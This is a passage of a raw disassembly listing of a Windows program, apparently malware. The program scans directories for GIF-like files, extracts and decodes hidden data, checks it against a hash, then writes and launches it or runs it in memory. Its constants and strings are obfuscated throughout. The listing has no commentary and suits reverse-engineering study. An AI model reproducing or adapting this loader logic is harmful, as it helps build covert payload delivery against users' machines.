		mov	[ebp+var_1], al
		movzx	eax, byte ptr [esi+1]
		movsx	edx, word_551274
		mov	ecx, dword_551134
		lea	edx, [edx+ecx+1F7h]
		mov	ebx, eax
		imul	ebx, edx
		mov	eax, [ebp+arg_4]
		mov	[eax], ebx
		mov	edi, dword_5510A8
		sub	edi, 6
		jmp	short loc_44654A
; ---------------------------------------------------------------------------


loc_44653C:				; CODE XREF: sub_4464E5+67j
		movzx	eax, byte ptr [esi+edi]
		movzx	edx, [ebp+var_1]
		xor	eax, edx
		mov	[esi+edi], al
		inc	edi


loc_44654A:				; CODE XREF: sub_4464E5+55j
		cmp	edi, ebx
		jb	short loc_44653C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4464E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446555	proc near		; CODE XREF: sub_43E2F5+64p

var_100E	= byte ptr -100Eh
var_1004	= byte ptr -1004h
var_1000	= byte ptr -1000h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		push	offset word_5515C2
		call	sub_43AC94
		pop	ecx
		mov	esi, dword_5510F8
		add	esi, dword_551244
		sub	esi, 0Bh
		push	esi
		push	eax
		movsx	esi, word_551170
		movsx	ebx, word_5510F0
		add	esi, ebx
		sub	esi, 4
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_50EA30
		mov	edi, eax
		mov	eax, dword_55126C
		sub	eax, 8
		cmp	eax, edi
		jnz	short loc_4465AF
		mov	edi, [ebp+arg_0]


loc_4465AF:				; CODE XREF: sub_446555+55j
		push	offset dword_5515AC
		call	sub_43AC94
		pop	ecx
		push	dword_5510BC
		push	eax
		mov	esi, dword_5511B0
		sub	esi, 7
		push	esi
		push	edi
		call	ds:dword_50EA30
		mov	edi, eax
		lea	eax, [ebp+var_FFF]
		push	eax
		push	0FFFh
		push	0Dh
		push	edi
		call	ds:dword_448018
		mov	eax, dword_551178
		add	eax, dword_551200
		cmp	[ebp+eax+var_1004], 20h
		jnz	short loc_446613
		movsx	eax, word_551240
		cmp	[ebp+eax+var_1000], 20h
		jz	loc_4466C4


loc_446613:				; CODE XREF: sub_446555+A7j
		lea	ecx, [ebp+var_FFF]
		or	eax, 0FFFFFFFFh


loc_44661C:				; CODE XREF: sub_446555+CCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_44661C
		movsx	ebx, word_5511A8
		add	ebx, 0Dh
		cmp	eax, ebx
		jb	loc_4466C4
		mov	eax, dword_5511F8
		add	eax, dword_5510A8
		cmp	[ebp+eax+var_100E], 68h
		jnz	short loc_446659
		mov	eax, dword_551158
		cmp	[ebp+eax+var_FFF], 74h
		jz	short loc_4466C4


loc_446659:				; CODE XREF: sub_446555+F3j
		push	offset byte_5515A7
		call	sub_43AC94
		mov	esi, dword_5511E4
		movsx	ebx, word_5510F0
		add	esi, ebx
		sub	esi, 4
		push	esi
		push	eax
		lea	esi, [ebp+var_FFF]
		push	esi
		call	sub_442127
		add	esp, 10h
		mov	ebx, dword_5510D4
		add	ebx, 0FFF5h
		movsx	edx, word_55123C
		add	ebx, edx
		cmp	ebx, eax
		jnz	short loc_4466C4
		push	offset byte_5515A1
		call	sub_43AC94
		pop	ecx
		push	eax
		mov	esi, dword_55122C
		add	esi, dword_551270
		sub	esi, 6
		push	esi
		push	0Ch
		push	edi
		call	ds:dword_448018


loc_4466C4:				; CODE XREF: sub_446555+B8j
					; sub_446555+DAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_446555	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4466C9	proc near		; CODE XREF: sub_43F2CB+C8p
					; sub_441A2E+46p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, dword_551124
		sub	esi, 9
		mov	edi, dword_551244
		sub	edi, 7
		jmp	short loc_44674A
; ---------------------------------------------------------------------------


loc_4466E7:				; CODE XREF: sub_4466C9+8Bj
		mov	edx, [ebp+arg_4]
		movzx	edx, word ptr [edx+edi*2]
		movzx	ecx, word ptr [ebx+edi*2]
		add	edx, ecx
		add	edx, esi
		mov	[ebp+var_4], edx
		movsx	eax, word_551170
		mov	edx, dword_551184
		lea	eax, [eax+edx+0FFF6h]
		cmp	[ebp+var_4], eax
		jbe	short loc_446730
		mov	esi, dword_5511E8
		sub	esi, 6
		mov	eax, dword_5511D8
		add	eax, 0FFF4h
		add	eax, dword_5511E4
		sub	[ebp+var_4], eax
		jmp	short loc_446742
; ---------------------------------------------------------------------------


loc_446730:				; CODE XREF: sub_4466C9+47j
		movsx	eax, word_5510F0
		mov	esi, eax
		add	esi, dword_551270
		sub	esi, 8


loc_446742:				; CODE XREF: sub_4466C9+65j
		mov	edx, [ebp+var_4]
		mov	[ebx+edi*2], dx
		inc	edi


loc_44674A:				; CODE XREF: sub_4466C9+1Cj
		mov	eax, dword_551190
		add	eax, 1Ah
		cmp	edi, eax
		jb	short loc_4466E7
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4466C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44675D	proc near		; CODE XREF: sub_441AE5+17Ap
					; sub_445895+151p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, dword_551178
		sub	esi, 3
		jmp	short loc_4467A3
; ---------------------------------------------------------------------------


loc_446771:				; CODE XREF: sub_44675D+49j
		call	ds:dword_550150
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, dword_551184
		add	edi, 50h
		add	edi, dword_5511F0
		mov	edx, eax
		add	edx, edi
		mov	[ebx+esi], dl
		inc	esi


loc_4467A3:				; CODE XREF: sub_44675D+12j
		cmp	esi, [ebp+arg_4]
		jl	short loc_446771
		mov	eax, [ebp+arg_4]
		mov	edx, dword_5511B4
		add	edx, dword_5511D0
		sub	edx, 4
		mov	[ebx+eax], dl
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44675D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4467C4	proc near		; CODE XREF: sub_446E8A+1CEp
					; sub_446E8A+1E0p

var_61EA3	= byte ptr -61EA3h
var_61DA8	= dword	ptr -61DA8h
var_61DA4	= dword	ptr -61DA4h
var_61D9E	= byte ptr -61D9Eh
var_61D9D	= byte ptr -61D9Dh
var_61C9E	= byte ptr -61C9Eh
var_61C9D	= byte ptr -61C9Dh
var_61C9C	= dword	ptr -61C9Ch
var_61C98	= byte ptr -61C98h
var_30F58	= dword	ptr -30F58h
var_30F54	= byte ptr -30F54h
var_30E50	= dword	ptr -30E50h
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30E14	= byte ptr -30E14h
var_30DBF	= byte ptr -30DBFh
var_30DBC	= byte ptr -30DBCh
var_30D44	= byte ptr -30D44h
var_30D43	= byte ptr -30D43h
var_30D42	= byte ptr -30D42h
var_30D40	= byte ptr -30D40h
var_30D3F	= byte ptr -30D3Fh
var_30D39	= byte ptr -30D39h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 61EA4h
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		and	[ebp+var_30E50], 0
		movsx	eax, word_551194
		sub	eax, 7
		push	eax
		movsx	eax, word_551214
		add	eax, dword_5510F8
		sub	eax, 7
		push	eax
		push	3
		movsx	eax, word_5511EC
		movsx	edx, word_55120C
		add	eax, edx
		sub	eax, 3
		push	eax
		movsx	eax, word_55112C
		sub	eax, 5
		push	eax
		push	80000000h
		push	[ebp+arg_0]
		call	ds:dword_54FC18
		mov	[ebp+var_30E48], eax
		and	[ebp+var_30F58], 0
		mov	eax, dword_5510C0
		add	eax, 0FFFFFFFEh
		cmp	[ebp+var_30E48], eax
		jz	loc_446E52
		mov	eax, dword_55116C
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_30E4C]
		push	eax
		movsx	eax, word_551120
		mov	edx, dword_5511F4
		lea	eax, [eax+edx+7Ch]
		push	eax
		lea	eax, [ebp+var_30E3F]
		push	eax
		push	[ebp+var_30E48]
		call	ds:dword_448034
		mov	[ebp+var_30E44], eax
		mov	eax, dword_551178
		add	eax, dword_55122C
		cmp	byte ptr [ebp+eax+var_30E44+3],	46h
		jnz	short loc_446901
		mov	eax, dword_55116C
		cmp	byte ptr [ebp+eax+var_30E48+1],	49h
		jnz	short loc_446901
		movsx	eax, word_551254
		movsx	edx, word_551094
		add	eax, edx
		cmp	byte ptr [ebp+eax+var_30E4C+2],	47h
		jnz	short loc_446901
		mov	eax, dword_551154
		movsx	edx, word_5510EC
		add	eax, edx
		cmp	byte ptr [ebp+eax+var_30E44+1],	38h
		jnz	short loc_446901
		movsx	eax, word_551260
		cmp	byte ptr [ebp+eax+var_30E44], 39h
		jnz	short loc_446901
		mov	eax, dword_551184
		add	eax, dword_551238
		cmp	byte ptr [ebp+eax+var_30E4C+1],	61h
		jz	short loc_446906


loc_446901:				; CODE XREF: sub_4467C4+D4j
					; sub_4467C4+E3j ...
		jmp	loc_446E34
; ---------------------------------------------------------------------------


loc_446906:				; CODE XREF: sub_4467C4+13Bj
		mov	eax, dword_5510B4
		sub	eax, 4
		cmp	eax, [ebp+var_30E44]
		jz	loc_446E34
		mov	eax, dword_551154
		add	eax, 73h
		movsx	edx, word_551254
		add	eax, edx
		cmp	[ebp+eax+var_30E3F], 3Dh
		jnz	short loc_446972
		movsx	eax, word_5511AC
		mov	edx, dword_5510E0
		lea	eax, [eax+edx+23h]
		movzx	eax, [ebp+eax+var_30E3F]
		movsx	edx, word_551228
		mov	ecx, dword_5510BC
		lea	edx, [edx+ecx+35h]
		cmp	eax, edx
		jnz	short loc_446972
		mov	eax, dword_551090
		cmp	[ebp+eax+var_30DBF], 3Dh
		jz	short loc_446977


loc_446972:				; CODE XREF: sub_4467C4+16Fj
					; sub_4467C4+19Dj
		jmp	loc_446E34
; ---------------------------------------------------------------------------


loc_446977:				; CODE XREF: sub_4467C4+1ACj
		mov	eax, dword_55124C
		sub	eax, 5
		cmp	eax, ebx
		jnz	short loc_4469D9
		call	sub_43F952
		mov	edx, eax
		mov	[ebp+var_61C9E], dl
		movsx	eax, word_5510E4
		movsx	edx, word_551268
		lea	eax, [eax+edx+80h]
		cmp	[ebp+eax+var_30E3F], 40h
		jnz	short loc_4469BB
		mov	[ebp+var_30E50], 1
		jmp	short loc_4469D9
; ---------------------------------------------------------------------------


loc_4469BB:				; CODE XREF: sub_4467C4+1E9j
		mov	al, [ebp+var_30DBC]
		mov	[ebp+var_61C9D], al
		mov	al, [ebp+var_61C9E]
		cmp	al, [ebp+var_61C9D]
		jz	loc_446E34


loc_4469D9:				; CODE XREF: sub_4467C4+1BDj
					; sub_4467C4+1F5j
		mov	eax, dword_5510FC
		sub	eax, 2
		push	eax
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	30D40h
		lea	eax, [ebp+var_61C98]
		push	eax
		push	[ebp+var_30E48]
		call	ds:dword_448034
		mov	[ebp+var_30E44], eax
		mov	eax, dword_5510BC
		movsx	edx, word_551104
		add	eax, edx
		sub	eax, 5
		cmp	[ebp+var_30E44], eax
		jz	loc_446E34
		mov	eax, [ebp+var_30E4C]
		mov	edx, dword_5511D4
		add	edx, dword_551190
		sub	edx, 0Fh
		mov	[ebp+eax+var_61C98], dl
		push	30D40h
		lea	eax, [ebp+var_30D40]
		push	eax
		lea	eax, [ebp+var_61C98]
		push	eax
		call	sub_4427A1
		add	esp, 0Ch
		mov	esi, eax
		mov	edi, dword_551160
		sub	edi, 5
		jmp	short loc_446AB5
; ---------------------------------------------------------------------------


loc_446A68:				; CODE XREF: sub_4467C4+2F3j
		mov	eax, dword_5510DC
		sub	eax, 7
		cmp	ebx, eax
		jz	short loc_446A87
		movzx	eax, [ebp+edi+var_30D40]
		sub	eax, edi
		mov	[ebp+edi+var_30D40], al
		jmp	short loc_446AB4
; ---------------------------------------------------------------------------


loc_446A87:				; CODE XREF: sub_4467C4+2AEj
		movzx	eax, [ebp+edi+var_30D40]
		mov	[ebp+var_61DA4], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_61DA8], eax
		mov	eax, [ebp+var_61DA4]
		mov	edx, [ebp+var_61DA8]
		sub	eax, edx
		mov	[ebp+edi+var_30D40], al


loc_446AB4:				; CODE XREF: sub_4467C4+2C1j
		inc	edi


loc_446AB5:				; CODE XREF: sub_4467C4+2A2j
		cmp	edi, esi
		jb	short loc_446A68
		mov	eax, dword_551230
		movsx	edx, word_5510F0
		add	eax, edx
		sub	eax, 8
		cmp	ebx, eax
		jz	short loc_446AEF
		mov	eax, dword_551138
		sub	eax, 2
		mov	edx, esi
		sub	edx, eax
		mov	eax, dword_551178
		add	eax, dword_551264
		sub	eax, 6
		mov	[ebp+edx+var_30D40], al


loc_446AEF:				; CODE XREF: sub_4467C4+308j
		movsx	eax, word_5511BC
		mov	edx, dword_5511D0
		lea	eax, [eax+edx+7Bh]
		movsx	edx, word_551234
		add	edx, dword_5511F8
		sub	edx, 0Bh
		mov	[ebp+eax+var_30E3F], dl
		push	0FFh
		lea	eax, [ebp+var_61D9D]
		push	eax
		lea	eax, [ebp+var_30E14]
		push	eax
		call	sub_4427A1
		lea	eax, [ebp+var_61D9D]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_44718F
		add	esp, 18h
		mov	[ebp+var_30E44], eax
		mov	eax, dword_55125C
		add	eax, dword_5511FC
		sub	eax, 5
		cmp	eax, [ebp+var_30E44]
		jnz	loc_446E34
		mov	[ebp+var_30F58], 1
		mov	eax, dword_551264
		sub	eax, 3
		cmp	ebx, eax
		jz	loc_446CB7
		movsx	eax, word_551168
		cmp	[ebp+eax+var_30D44], 64h
		jnz	loc_446C18
		movzx	eax, [ebp+var_30D3F]
		mov	edx, dword_5511F8
		add	edx, 19h
		sub	eax, edx
		mov	[ebp+var_61D9E], al
		movzx	eax, [ebp+var_61D9E]
		push	eax
		movsx	eax, word_5510CC
		sub	eax, 5
		push	eax
		call	sub_43C10A
		mov	eax, dword_551090
		add	eax, dword_5511E4
		sub	eax, 6
		mov	dword_5512B8, eax
		movsx	eax, word_551220
		dec	eax
		mov	ds:dword_44B5D0, eax
		mov	eax, dword_551248
		mov	edx, dword_55122C
		add	edx, dword_551114
		sub	edx, 3
		mov	[ebp+eax+var_30D42], dl
		mov	eax, dword_5511E8
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_443E80
		add	esp, 10h


loc_446C18:				; CODE XREF: sub_4467C4+3CBj
		movsx	eax, word_551094
		cmp	[ebp+eax+var_30D43], 67h
		jnz	loc_446E34
		movsx	eax, word_551120
		movsx	edx, word_5511EC
		movsx	ecx, word_55123C
		add	edx, ecx
		sub	edx, 6
		mov	[ebp+eax+var_30D39], dl
		lea	eax, [ebp+var_30D3F]
		push	eax
		call	ds:dword_44901C
		mov	[ebp+var_61DA4], eax
		push	eax
		push	offset dword_54EA70
		call	sub_443F7C
		movsx	eax, word_551254
		sub	eax, 8
		mov	ds:dword_44B5D0, eax
		mov	eax, dword_551164
		movsx	edx, word_5510AC
		add	eax, edx
		sub	eax, 7
		mov	dword_5512B8, eax
		mov	eax, dword_551114
		movsx	edx, word_5510A0
		add	eax, edx
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_443E80
		add	esp, 14h
		jmp	loc_446E34
; ---------------------------------------------------------------------------


loc_446CB7:				; CODE XREF: sub_4467C4+3B6j
		mov	eax, dword_551134
		sub	eax, 8
		cmp	eax, [ebp+var_30E50]
		jz	loc_446D4B
		call	ds:dword_54EB70
		mov	[ebp+var_61DA4], eax
		lea	eax, [ebp+var_30F54]
		push	eax
		movsx	eax, word_551220
		dec	eax
		push	eax
		movsx	eax, word_5511BC
		add	eax, dword_5511A0
		sub	eax, 5
		push	eax
		push	1Ch
		movsx	eax, word_5510B0
		dec	eax
		push	eax
		call	ds:dword_48BA00
		push	offset word_551592
		call	sub_43AC94
		push	[ebp+var_61DA4]
		movsx	edx, word_5511A8
		add	edx, 9
		push	edx
		push	eax
		lea	edx, [ebp+var_61EA3]
		push	edx
		call	ds:dword_50EA28
		lea	eax, [ebp+var_61EA3]
		push	eax
		lea	eax, [ebp+var_30F54]
		push	eax
		call	ds:dword_44802C
		add	esp, 1Ch
		jmp	short loc_446D7B
; ---------------------------------------------------------------------------


loc_446D4B:				; CODE XREF: sub_4467C4+501j
		mov	eax, dword_551114
		add	eax, 5
		push	eax
		lea	eax, [ebp+var_30F54]
		push	eax
		call	sub_44675D
		push	offset word_55158A
		call	sub_43AC94
		push	eax
		lea	edx, [ebp+var_30F54]
		push	edx
		call	ds:dword_44802C
		add	esp, 14h


loc_446D7B:				; CODE XREF: sub_4467C4+585j
		movsx	eax, word_55112C
		sub	eax, 5
		push	eax
		push	80h
		push	2
		mov	eax, dword_55113C
		sub	eax, 9
		push	eax
		movsx	eax, word_5510B0
		movsx	edx, word_5510A0
		add	eax, edx
		sub	eax, 8
		push	eax
		push	40000000h
		lea	eax, [ebp+var_30F54]
		push	eax
		call	ds:dword_54FC18
		mov	[ebp+var_61C9C], eax
		movsx	eax, word_5511EC
		add	eax, dword_55109C
		sub	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		push	[ebp+var_61C9C]
		call	ds:dword_55001C
		push	[ebp+var_61C9C]
		call	ds:dword_4CDA48
		mov	eax, dword_551198
		add	eax, dword_551108
		sub	eax, 5
		cmp	[ebp+var_30E50], eax
		jnz	short loc_446E2F
		push	5
		lea	eax, [ebp+var_30F54]
		push	eax
		call	ds:dword_44B094
		movzx	eax, [ebp+var_61C9D]
		push	eax
		call	sub_43DF32
		pop	ecx
		jmp	short loc_446E34
; ---------------------------------------------------------------------------


loc_446E2F:				; CODE XREF: sub_4467C4+64Aj
		call	sub_442A78


loc_446E34:				; CODE XREF: sub_4467C4:loc_446901j
					; sub_4467C4+150j ...
		push	[ebp+var_30E48]
		call	ds:dword_4CDA48
		cmp	[ebp+var_30F58], 0
		jz	short loc_446E52
		push	[ebp+arg_0]
		call	ds:dword_44800C


loc_446E52:				; CODE XREF: sub_4467C4+80j
					; sub_4467C4+683j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4467C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_446E57	proc near		; CODE XREF: sub_43F4C7+278p
		call	sub_43B004
		push	offset dword_551580
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		mov	ds:dword_50EA24, eax
		push	offset byte_551575
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		add	esp, 10h
		mov	ds:dword_50EA28, eax
		retn
sub_446E57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446E8A	proc near		; CODE XREF: sub_43ADE6+E8p
					; sub_446E8A+248p ...

var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_119		= byte ptr -119h
var_114		= byte ptr -114h
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		inc	ebx
		push	0
		call	ds:dword_50EA24
		push	offset byte_55156D
		call	sub_43AC94
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50EA28
		add	esp, 14h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_4CC328
		mov	[ebp+var_248], eax
		mov	ecx, dword_5511E4
		add	ecx, 0FFFFFFFAh
		cmp	eax, ecx
		jnz	loc_447077
		mov	eax, dword_5511B8
		add	eax, 30D38h
		add	eax, dword_5510E0
		cmp	[ebp+arg_24], eax
		ja	short loc_446F0C
		mov	eax, dword_551138
		sub	eax, 3
		cmp	[ebp+arg_20], eax
		jbe	short loc_446F11


loc_446F0C:				; CODE XREF: sub_446E8A+73j
		jmp	loc_447155
; ---------------------------------------------------------------------------


loc_446F11:				; CODE XREF: sub_446E8A+80j
		mov	eax, dword_551190
		add	eax, 3F4h
		movsx	edx, word_5511AC
		add	eax, edx
		cmp	[ebp+arg_24], eax
		jnb	short loc_446F3E
		movsx	eax, word_551220
		add	eax, 0A3h
		cmp	[ebp+arg_24], eax
		jnz	loc_447155


loc_446F3E:				; CODE XREF: sub_446E8A+9Dj
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	ds:dword_54FC10
		mov	[ebp+var_260], eax
		movsx	eax, word_55115C
		add	eax, dword_5511D8
		sub	eax, 0Ah
		cmp	[ebp+var_260], eax
		jge	short loc_446F77
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_446F82
; ---------------------------------------------------------------------------


loc_446F77:				; CODE XREF: sub_446E8A+DEj
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_446F82:				; CODE XREF: sub_446E8A+EBj
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	ds:dword_54EB78
		movzx	eax, [ebp+var_24E]
		movzx	edx, [ebp+var_258]
		mov	ecx, dword_5510BC
		add	ecx, 7E8FAh
		add	ecx, dword_5511A4
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_250]
		mov	ecx, dword_55122C
		add	ecx, 3Bh
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_252]
		mov	ecx, dword_5511F4
		add	ecx, 598h
		add	ecx, dword_551204
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_256]
		mov	ecx, dword_551138
		add	ecx, 0A8BCh
		add	ecx, dword_551174
		imul	edx, ecx
		add	eax, edx
		mov	[ebp+var_25C], eax
		mov	eax, ds:dword_448030
		mov	edx, [ebp+var_25C]
		mov	ecx, eax
		sub	ecx, edx
		movsx	esi, word_551214
		add	esi, 11h
		cmp	ecx, esi
		jnb	loc_447155
		cmp	edx, eax
		ja	loc_447155
		mov	eax, dword_551150
		add	eax, 9Bh
		movsx	edx, word_551188
		add	eax, edx
		cmp	eax, [ebp+arg_24]
		jz	short loc_447065
		push	0
		push	[ebp+arg_0]
		call	sub_4467C4
		add	esp, 8
		jmp	loc_447155
; ---------------------------------------------------------------------------


loc_447065:				; CODE XREF: sub_446E8A+1C7j
		push	1
		push	[ebp+arg_0]
		call	sub_4467C4
		add	esp, 8
		jmp	loc_447155
; ---------------------------------------------------------------------------


loc_447077:				; CODE XREF: sub_446E8A+5Aj
		mov	eax, dword_5510FC
		movsx	edx, word_5510E4
		add	eax, edx
		cmp	[ebp+eax+var_114], 2Eh
		jz	loc_447151
		push	offset dword_551564
		call	sub_43AC94
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50EA28
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_446E8A
		add	esp, 158h
		jmp	short loc_447151
; ---------------------------------------------------------------------------


loc_4470DF:				; CODE XREF: sub_446E8A+2C9j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	ds:dword_449FC8
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_447155
		mov	eax, dword_5511E8
		cmp	[ebp+eax+var_119], 2Eh
		jz	short loc_447151
		push	offset byte_55155B
		call	sub_43AC94
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50EA28
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_446E8A
		add	esp, 158h


loc_447151:				; CODE XREF: sub_446E8A+203j
					; sub_446E8A+253j ...
		or	ebx, ebx
		jnz	short loc_4470DF


loc_447155:				; CODE XREF: sub_446E8A:loc_446F0Cj
					; sub_446E8A+AEj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_446E8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44715A	proc near		; DATA XREF: .data:0055130Co
		push	ebp
		mov	ebp, esp
		mov	eax, dword_5511C0
		add	eax, dword_55110C
		sub	eax, 9
		cmp	ds:dword_44B5B8, eax
		jbe	short loc_44717E
		push	offset dword_44B5B8
		call	ds:dword_448014


loc_44717E:				; CODE XREF: sub_44715A+17j
		mov	eax, ds:dword_44B5B8
		pop	ebp
		retn	4
sub_44715A	endp


; =============== S U B	R O U T	I N E =======================================



sub_447187	proc near		; DATA XREF: .data:00551310o
		mov	eax, 80004001h
		retn	8
sub_447187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44718F	proc near		; CODE XREF: sub_4467C4+37Ap

var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_4471A6
		add	eax, 3Fh


loc_4471A6:				; CODE XREF: sub_44718F+12j
		sar	eax, 6
		mov	[ebp+var_4], eax
		push	4
		push	1000h
		mov	edi, eax
		shl	edi, 6
		push	edi
		push	0
		call	ds:dword_48C31C
		mov	[ebp+var_18], eax
		mov	ecx, dword_551090
		add	ecx, 36h
		mov	eax, ecx
		add	eax, dword_551124
		mul	[ebp+var_4]
		mov	[ebp+var_5C], eax
		push	eax
		push	[ebp+var_18]
		call	ds:dword_448038
		push	[ebp+arg_4]
		push	esi
		push	[ebp+var_18]
		call	ds:dword_4CD914
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_444F66
		add	esp, 10h
		mov	esi, [ebp+var_18]
		mov	eax, dword_55114C
		mov	ebx, eax
		add	ebx, dword_5511D8
		sub	ebx, 0Dh
		jmp	short loc_447235
; ---------------------------------------------------------------------------


loc_447213:				; CODE XREF: sub_44718F+A9j
		push	esi
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_43B045
		add	esp, 8
		movsx	eax, word_5511A8
		mov	edx, dword_5510B4
		lea	eax, [eax+edx+3Ch]
		lea	esi, [esi+eax]
		inc	ebx


loc_447235:				; CODE XREF: sub_44718F+82j
		cmp	ebx, [ebp+var_4]
		jb	short loc_447213
		lea	eax, [ebp+var_58]
		push	eax
		push	[ebp+arg_8]
		call	sub_43A59E
		push	8000h
		movsx	eax, word_5511AC
		sub	eax, 6
		push	eax
		push	[ebp+var_18]
		call	ds:dword_4CD910
		mov	eax, dword_55109C
		add	eax, 4
		add	eax, dword_55117C
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	ds:dword_50EA40
		add	esp, 14h
		movsx	edi, word_55111C
		movsx	ebx, word_551110
		add	edi, ebx
		dec	edi
		cmp	edi, eax
		jz	short loc_447299
		xor	eax, eax
		inc	eax
		jmp	short loc_44729B
; ---------------------------------------------------------------------------


loc_447299:				; CODE XREF: sub_44718F+103j
		xor	eax, eax


loc_44729B:				; CODE XREF: sub_44718F+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44718F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4472A0	proc near		; DATA XREF: sub_441AE5+193o
		push	ebp
		mov	ebp, esp


loc_4472A3:				; CODE XREF: sub_4472A0+23j
		call	sub_44030E
		mov	eax, dword_551208
		add	eax, 6DDCFAh
		movsx	edx, word_551234
		add	eax, edx
		push	eax
		call	ds:dword_50EA24
		pop	ecx
		jmp	short loc_4472A3
sub_4472A0	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4472C9	proc near		; CODE XREF: sub_43F2CB+A4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
